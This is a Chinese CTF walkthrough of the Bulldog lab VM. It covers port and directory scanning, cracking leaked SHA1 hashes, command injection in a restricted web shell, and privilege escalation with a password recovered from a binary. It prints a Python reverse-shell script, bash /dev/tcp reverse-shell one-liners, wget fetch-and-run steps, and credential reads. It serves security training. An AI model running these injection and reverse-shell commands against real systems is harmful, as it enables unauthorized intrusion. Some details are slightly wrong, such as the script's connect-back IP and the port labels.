zoukankan      html  css  js  c++  java
  • 10. CTF综合靶机渗透(三)

    靶机说明

    斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:)

    这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你!

    难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;)

    目标

    • 提权到root权限并查看flag

    运行环境

    • 这个靶机,作者建议在Virtualbox上运行。但是攻击机kali在vm中。

    • 首先是网络环境,将两台处于不同虚拟机软件中的虚拟机配置到同一网卡下。

    • Virtualbox设置为桥接模式,桥接到物理的无线网卡

    • 只有一块无线网卡链接到了互联网,所以kali直接桥接,复制物理网络即可。
    • 最后kali执行dhclient命令,请求分配ip,bulldog直接开机即可。

    信息收集

    • ip发现

    kali安装在vmware,作为攻击机,ip为:

    bulldog靶机运行在virtualbox虚拟机上,在开机时,已经给出了ip地址:

    • 端口扫描

    执行命令 nmap -sS 192.168.0.113

    发现 23 , 80 , 8080 端口开放

    • 服务识别

    执行命令 nmap -A -p 80,23 192.168.0.113 对23和80进行详细探测

    发现ssh服务和web服务,并且web服务为python。

    漏洞挖掘

    • 首先查看web,同时进行目录探测 dirb http://192.168.0.113

     

     发现  /admin/auth/group , /admin/auth/user , /admin/login  , /dev/shell 等目录

    • 对/admin/auth/group ,/admin/auth/user  进行访问探测

    发现都重定向到 /admin/login  的登陆页面

    • 访问admin登录页面,并进行了注入尝试,没有成功

    • 查看/dev/shell发现webshell不能使用

    • 查看/dev页面的源码发现提示

    新系统不在使用php或任何CMS,而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞,只能找Django框架漏洞;网站不使用php,无需再找php漏洞或者写php木马;

    有明显的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。

    看到这个,经常做ctf的人,都能看出来,下一步就是hash碰撞

    hash碰撞讲解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html

    • 对hash进行碰撞,hash长度为40位,可以看出是sha1,即使不知道是哪种hash,也可以把每个hash值,到CMD5尝试碰撞解密:

    然后hash碰撞,我们得出密码为 bulldoglover ,但是我们没有用户名

    我们再来分析源码,发现了这个,我们推测用户名为 sarah 

    应为哈希碰撞,后面的为密码

    • 利用碰撞出来的两个密码进行登录尝试利用sarah成功登录

    • 此时webshell可以使用

    真是一举两得

    获取shell

    • 发现给出的webshell只能使用给定的几个命令。尝试命令注入。

     

    • python反弹shell   可以进行命令注入,尝试wget是否有权限。攻击机kali执行命令  python -m SimpleHTTPServer 80 搭建简易web服务。在webshell上执行命令  pwd&wget http://192.168.0.112。kali的日志中发现访问记录

    • 在开启python web服务的目录下准备一个python shell
    1 import socket,subprocess,os
    2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    3 s.connect(("192.168.0.113",1234))
    4 os.dup2(s.fileno(),0)
    5 os.dup2(s.fileno(),1)
    6 os.dup2(s.fileno(),2)
    7 p=subprocess.call(["/bin/bash","-i"])
    • 在命令执行页面执行 pwd & wget http://192.168.0.112/pythonShell.py 本地日志显示成功下载

    • 本地进行nc监听,执行 nc -lvp 1234

    • 在命令执行处执行 pwd & python pythonShell.py

    成功获得shell

    • 反弹shell

    (1) Windows攻击机开启nc监听:nc -lvnp 4444

    (2) 直接执行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1 失败,server报错500。

    (3) 尝试多次bash反弹,最后使用echo命令先输出命令,再输入到bash,反弹shell成功:

    echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash

    反弹获得shell成功

    提升权限并且获得flag

    • 查看有哪些系统用户 cat /etc/passwd, 发现需要关注的用户有:bulldogadmin、django

    • 进入/home目录,查看是否有其他用户,进入bulldogadmin

    • 查看他的命令历史文件,意外发现一个隐藏目.hiddenadmindirectory

    • 该隐藏目录存在两个文件,一个note提示,一个可执行文件

    • 利用 strings 查看可执行文件中的字符

    从以上字符中大致明白了程序的用途和用法

    猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget,这些都与最高权限账号相关

    你可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget

    ,H是来混淆我们的,还好博主认识PASSWORD,我们查看一下

    经过测试,发现确实是密码

    最后读取flag文件

    • 同时我们也可以提权

     su命令无法执行

    我们执行执行python shell

    sudo python -c import pty; pty.spawn("/bin/bash")'

    并且输入刚获得的密码

    • 如果不解决无法su,还记得有23端口的ssh,也可以使用Xshell通过ssh登录,登录成功后执行sudo su - 提权并获得flag

    用户名:django

    密码:SUPERultimatePASSWORDyouCANTget 

    不用猜测的密码,改了django再登录也可以。

    sudo su提权,密码是:SUPERultimatePASSWORDyouCANTget

     

    靶场思路回顾

    1.目录暴破出dev和admin页面:

    (1) 可暴破出dev页面,该页面源码里面有多个账号的用户名、邮箱、密码sha1值。该页面还链接到webshell命令执行页面。

    (2) 可暴破出admin后台页面,登录密码通过dev页面破解sha1得到。

    2.绕过白名单限制,执行命令和反弹shell:绕过限制执行命令比较容易。反弹shell尝试多次使用bash反弹shell后成功,没有尝试py shell。

    3.搜索系统中id为1000以后的用户的文件,可以找到隐藏文件。

    4.猜解root密码很艰难。

    总结

    • 难点和踩到的坑:

    (1) 发现和破解sha1:在dev页面查看源码,发现多个用户hash后,即使不知道是40位的sha1,也可以直接去cmd5破解,系统会自动识别,可以破解出2个账号。如果用hashcat暴破sha1,需要强大的字段和较长的时间。

    (2) 反弹shell应该有多种方法:第一个想到的是bash shell,也想到了python反弹shell。只尝试了通过bash反弹shell,如果bash反弹不成功,可尝试往系统echo文件,赋予+x执行权限,执行脚本反弹。也可尝试Python是否能够反弹shell。

    (3) 发现隐藏的包含root密码的文件,通过搜索id为1000之后的用户文件,查看历史命令,或者查看目录,也可能找到。

    (4) 猜解root密码:这个是最难的,找到这个文件并不难,但是通过strings查看文件内容,并且拼接字符串为root密码,感觉难度很大。

  • 相关阅读:
    yii2 gii 命令行自动生成控制器和模型
    控制器中的方法命名规范
    Vue Property or method "" is not defined on the instance but referenced during render. Make sure that this property is reactive, either in the data option, or for class-based
    IDEA插件:GsonFormat
    Spring Boot : Access denied for user ''@'localhost' (using password: NO)
    Typora添加主题
    Git基础命令图解
    Java Joda-Time 处理时间工具类(JDK1.7以上)
    Java日期工具类(基于JDK1.7版本)
    Oracle SQL Developer 连接Oracle出现【 状态: 失败 -测试失败: ORA-01017: invalid username/password; logon denied】
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9146265.html
Copyright © 2011-2022 走看看